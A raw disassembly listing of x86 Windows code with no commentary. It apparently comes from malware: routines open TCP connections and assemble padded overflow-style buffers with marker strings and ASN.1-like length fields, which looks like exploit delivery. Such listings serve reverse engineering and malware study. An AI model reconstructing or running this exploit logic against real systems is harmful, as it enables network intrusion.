		call	sub_40B0F7
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43E594[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C125
		push	ebx
		push	ebx
		nop
		call	near ptr 2680683h
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40C4A3


loc_40C498:				; CODE XREF: sub_40C125+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C4CA
		push	1Eh
		call	esi
		jmp	short loc_40C498
; ---------------------------------------------------------------------------


loc_40C4A3:				; CODE XREF: sub_40C125+371j
		nop
		call	near ptr 2680F9Dh
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4321E4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AD
		add	esp, 10h


loc_40C4CA:				; CODE XREF: sub_40C125+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C429


loc_40C4D8:				; CODE XREF: sub_40C125+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C582
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi


loc_40C4ED:				; CODE XREF: sub_40C125+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CB7A0[eax*8]
		push	eax
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4321A4
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C53B
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A73
		add	esp, 14h


loc_40C53B:				; CODE XREF: sub_40C125+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AD
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4CB7A4[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B33F
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C572
		push	offset dword_4CD7A0
		nop
		call	near ptr 26E0680h


loc_40C572:				; CODE XREF: sub_40C125+440j
		push	[ebp+var_2C]
		call	sub_40B413
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h


loc_40C582:				; CODE XREF: sub_40C125+3B6j
					; sub_40C125+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CB7A4[eax*8], 1
		jnz	loc_40C4ED
		push	7D0h
		call	esi
		jmp	short loc_40C582
sub_40C125	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C59C	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CB654
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CB6D4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C65A
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB5FC
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43E59C[ecx], esi
		jz	short loc_40C65A
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CB6E0
		push	eax
		mov	edi, offset dword_4CE164
		push	offset dword_432284
		push	edi
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409A73
		push	edi
		call	sub_4151AD
		add	esp, 28h


loc_40C65A:				; CODE XREF: sub_40C59C+5Dj
					; sub_40C59C+7Ej
		push	esi
		call	dword_4CB6EC
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C59C	endp

; ---------------------------------------------------------------------------
byte_40C669	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+603Fo
		dd 134EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 4CBD8D59h
		dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD075h, 0E015FFE0h, 50004CB6h, 0FECC858Dh, 0AC68FFFFh
		dd 50004322h, 0F1D1E8h,	0CC858D00h, 68FFFFFEh, 1FFh, 0DC458B50h
		dd 234C069h, 90050000h,	500043E3h, 0EF1BE8h, 1CC48300h
		dd 50F8458Dh, 0FF4C858Dh, 5057FFFFh, 40C59C68h,	90575700h
		dd 273F92E8h, 89C73B02h, 0B74FC45h, 75F47D39h, 0FF326A06h
		dd 0FFF5EBD6h, 0E890FC75h, 225415Ch, 8CB3FFh, 0BB890000h
		dd 0A8h, 458DD6FFh, 50046AE0h, 5008458Dh, 0FBE7E8h, 0CC48300h
		dd 0FF0875FFh, 4CB57C15h, 89504000h, 15FF0845h,	4CB650h
		dd 8D084589h, 46A0845h,	0E0458D50h, 0FBBEE850h,	0C4830000h
		dd 0FF3DE90Ch
		db 2 dup(0FFh)
word_40C75A	dw 8B55h		; DATA XREF: sub_401ACD+5D4Fo
		dd 30EC81ECh, 53000001h, 56085D8Bh, 8B2B6A57h, 0BD8D59F3h
		dd 0FFFFFF50h, 358BA5F3h, 427078h, 0A483C7h, 10000h, 0FF330000h
		dd 0FFD475FFh, 15FFE475h, 4CB6E0h, 0D0858D50h, 68FFFFFEh
		dd 432300h, 0F0E0E850h,	858D0000h, 0FFFFFED0h, 1FF68h
		dd 458B5000h, 34C069E0h, 5000002h, 43E390h, 0EE2AE850h
		dd 0C4830000h, 0FC458D1Ch, 50858D50h, 57FFFFFFh, 0C59C6850h
		dd 57570040h, 273EA2E8h, 0C73B9002h, 74084589h,	0F87D390Bh
		dd 326A0675h, 0F5EBD6FFh, 900875FFh, 25406BE8h,	8CB3FF02h
		dd 89000000h, 0A8BBh, 8BD6FF00h, 453BD445h, 0FF0874D8h
		dd 6DE9D445h, 0FFFFFFFFh, 15FFE475h, 4CB6E0h, 0D0858D50h
		dd 68FFFFFEh, 4322D4h, 0F050E850h, 8D570000h, 0FFFED085h
		dd 0EC75FFFFh, 54858D50h, 50FFFFFFh, 0FF50B5FFh, 20E8FFFFh
		dd 0FFFFFFD2h, 0B8E8E075h, 83FFFFEBh, 0C03324C4h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_40C867	proc near		; CODE XREF: sub_40CADB+Ep
					; sub_40CADB+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40C867	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C871	proc near		; CODE XREF: sub_40CADB+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C8A3
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41C310
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40C8A3:				; CODE XREF: sub_40C871+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8AB	proc near		; CODE XREF: sub_40C9A5+18p
					; sub_40CA1F+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40C8F7
		push	edi
		push	0
		push	esi
		call	sub_41B590
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41C310
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41C310
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40C8F7:				; CODE XREF: sub_40C8AB+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40C8AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C900	proc near		; CODE XREF: sub_40C9A5+5Ep
					; sub_40C9A5+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40C910
		push	eax
		call	sub_41B0B1
		pop	ecx


loc_40C910:				; CODE XREF: sub_40C900+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40C900	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C919	proc near		; CODE XREF: sub_40C9A5+20p
					; sub_40CA80+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40C946
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C94A


loc_40C946:				; CODE XREF: sub_40C919+Dj
		xor	al, al
		jmp	short loc_40C9A1
; ---------------------------------------------------------------------------


loc_40C94A:				; CODE XREF: sub_40C919+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40C96F
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40C989
; ---------------------------------------------------------------------------


loc_40C96F:				; CODE XREF: sub_40C919+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40C989:				; CODE XREF: sub_40C919+54j
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41B0B1
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40C9A1:				; CODE XREF: sub_40C919+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C919	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9A5	proc near		; CODE XREF: sub_40CADB+89p
					; sub_40CADB+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4CB50C
		call	sub_40C8AB
		lea	ecx, [ebp+var_8]
		call	sub_40C919
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C9DF
		xor	al, al
		jmp	short loc_40CA1B
; ---------------------------------------------------------------------------


loc_40C9DF:				; CODE XREF: sub_40C9A5+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41B590
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41C310
		add	esp, 18h
		mov	ecx, esi
		call	sub_40C900
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40C900
		mov	al, 1


loc_40CA1B:				; CODE XREF: sub_40C9A5+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40C9A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA1F	proc near		; CODE XREF: sub_40CA53+14p
					; sub_40CA70+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40C8AB
		mov	ecx, esi
		call	sub_40C900
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CA1F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA53	proc near		; CODE XREF: sub_40CADB+F0p
					; sub_40CADB+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CA1F
		pop	esi
		retn	4
sub_40CA53	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA70	proc near		; CODE XREF: sub_40CABC+Bp
					; sub_40CADB+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CA1F
		retn	8
sub_40CA70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA80	proc near		; CODE XREF: sub_40CABC+16p
					; sub_40CADB+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40C919
		test	al, al
		jz	short loc_40CAB9
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42CFE0
		call	sub_40C8AB
		mov	ecx, esi
		call	sub_40C900
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40CAB9:				; CODE XREF: sub_40CA80+Fj
		pop	esi
		leave
		retn
sub_40CA80	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CABC	proc near		; CODE XREF: sub_40CADB+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CA70
		test	al, al
		jz	short loc_40CAD7
		mov	ecx, esi
		call	sub_40CA80


loc_40CAD7:				; CODE XREF: sub_40CABC+12j
		pop	esi
		retn	8
sub_40CABC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CADB	proc near		; CODE XREF: ___:0040D362p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40C867
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40CE2F
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40CE2F
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40C867
		lea	ecx, [ebp+var_20]
		call	sub_40C867
		lea	ecx, [ebp+var_50]
		call	sub_40C867
		lea	ecx, [ebp+var_18]
		call	sub_40C867
		lea	ecx, [ebp+var_40]
		call	sub_40C867
		lea	ecx, [ebp+var_38]
		call	sub_40C867
		lea	ecx, [ebp+var_28]
		call	sub_40C867
		push	4
		push	offset dword_432338
		lea	ecx, [ebp+var_30]
		call	sub_40CA1F
		push	3
		push	offset dword_432340
		lea	ecx, [ebp+var_30]
		call	sub_40CA1F
		lea	ecx, [ebp+var_30]
		call	sub_40C9A5
		lea	ecx, [ebp+var_30]
		call	sub_40CA80
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40CA1F
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CA1F
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CA1F
		lea	ecx, [ebp+var_20]
		call	sub_40C9A5
		push	offset loc_4326BC
		lea	ecx, [ebp+var_50]
		call	sub_40CA53
		lea	ecx, [ebp+var_50]
		call	sub_40C9A5
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40C871
		lea	ecx, [ebp+var_58]
		call	sub_40C9A5
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CABC
		lea	ecx, [ebp+var_58]
		call	sub_40C900
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CA53
		push	4
		push	offset dword_432344
		lea	ecx, [ebp+var_18]
		call	sub_40CA1F
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CA1F
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CA1F
		lea	ecx, [ebp+var_18]
		call	sub_40C9A5
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CA70
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CA70
		lea	ecx, [ebp+var_40]
		call	sub_40CA80
		lea	ecx, [ebp+var_18]
		call	sub_40C900
		lea	ecx, [ebp+var_50]
		call	sub_40C900
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CA70
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CA70
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CA70
		lea	ecx, [ebp+var_38]
		call	sub_40CA80
		lea	ecx, [ebp+var_20]
		call	sub_40C900
		lea	ecx, [ebp+var_30]
		call	sub_40C900
		lea	ecx, [ebp+var_40]
		call	sub_40C900
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CA1F
		lea	ecx, [ebp+var_28]
		call	sub_40C9A5
		push	2
		push	offset dword_4326B0
		lea	ecx, [ebp+var_28]
		call	sub_40CA1F
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CA70
		lea	ecx, [ebp+var_28]
		call	sub_40CA80
		lea	ecx, [ebp+var_38]
		call	sub_40C900
		lea	ecx, [ebp+var_10]
		call	sub_40C867
		lea	ecx, [ebp+var_8]
		call	sub_40C867
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CA70
		lea	ecx, [ebp+var_10]
		call	sub_40C919
		lea	ecx, [ebp+var_28]
		call	sub_40C900
		push	offset dword_4326AC
		lea	ecx, [ebp+var_8]
		call	sub_40CA53
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA70
		lea	ecx, [ebp+var_8]
		call	sub_40C919
		lea	ecx, [ebp+var_10]
		call	sub_40C900
		push	offset dword_4326A8
		lea	ecx, [ebp+var_10]
		call	sub_40CA53
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CA70
		lea	ecx, [ebp+var_10]
		call	sub_40C919
		lea	ecx, [ebp+var_8]
		call	sub_40C900
		push	offset dword_43269C
		lea	ecx, [ebp+var_8]
		call	sub_40CA53
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA70
		lea	ecx, [ebp+var_8]
		call	sub_40C919
		lea	ecx, [ebp+var_10]
		call	sub_40C900
		push	(offset	loc_432697+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CA53
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CA70
		lea	ecx, [ebp+var_8]
		call	sub_40C900
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40CE3D
; ---------------------------------------------------------------------------


loc_40CE2F:				; CODE XREF: sub_40CADB+1Bj
					; sub_40CADB+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40CE3D:				; CODE XREF: sub_40CADB+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CADB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE41	proc near		; CODE XREF: sub_40CF05+A1p
					; sub_40CF05+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_40CEA8
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40CEAC


loc_40CEA8:				; CODE XREF: sub_40CE41+54j
		xor	eax, eax
		jmp	short loc_40CEBC
; ---------------------------------------------------------------------------


loc_40CEAC:				; CODE XREF: sub_40CE41+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CB66C


loc_40CEBC:				; CODE XREF: sub_40CE41+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40CE41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEC0	proc near		; CODE XREF: sub_40CF05+81p
					; sub_40CF05+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CB650
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		cmp	eax, 4
		jz	short loc_40CEEA
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CEEA:				; CODE XREF: sub_40CEC0+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CB6A4
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40CEC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF05	proc near		; CODE XREF: sub_40CFDF+48p
					; ___:0040D453p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40CF2E
		xor	al, al
		jmp	loc_40CFDA
; ---------------------------------------------------------------------------


loc_40CF2E:				; CODE XREF: sub_40CF05+20j
		push	ebx
		push	0
		push	esi
		call	sub_41B590
		push	2Fh
		push	offset dword_4323D4
		push	esi
		call	sub_41C310
		push	8
		lea	eax, [esi+31h]
		push	offset dword_432404
		push	eax
		mov	[esi+2Fh], di
		call	sub_41C310
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41C310
		push	6
		add	ebx, edi
		push	offset dword_4CE36C
		push	ebx
		call	sub_41C310
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_43234C
		push	ebx
		call	sub_40CEC0
		add	esp, 48h
		test	al, al
		jnz	short loc_40CF96


loc_40CF92:				; CODE XREF: sub_40CF05+B5j
		xor	bl, bl
		jmp	short loc_40CFD1
; ---------------------------------------------------------------------------


loc_40CF96:				; CODE XREF: sub_40CF05+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE41
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40CEC0
		add	esp, 1Ch
		test	al, al
		jz	short loc_40CF92
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE41
		add	esp, 10h
		mov	bl, 1


loc_40CFD1:				; CODE XREF: sub_40CF05+8Fj
		push	esi
		call	sub_41B0B1
		pop	ecx
		mov	al, bl


loc_40CFDA:				; CODE XREF: sub_40CF05+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CF05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFDF	proc near		; CODE XREF: ___:0040D439p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_432410
		push	[ebp+arg_0]
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 48h
		jnz	short loc_40D01A
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40CE41
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D01A
		cmp	[ebp+var_20], 82h
		jz	short loc_40D01E


loc_40D01A:				; CODE XREF: sub_40CFDF+1Bj
					; sub_40CFDF+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D01E:				; CODE XREF: sub_40CFDF+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF05
		add	esp, 0Ch
		leave
		retn
sub_40CFDF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D031	proc near		; CODE XREF: sub_40D07D+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
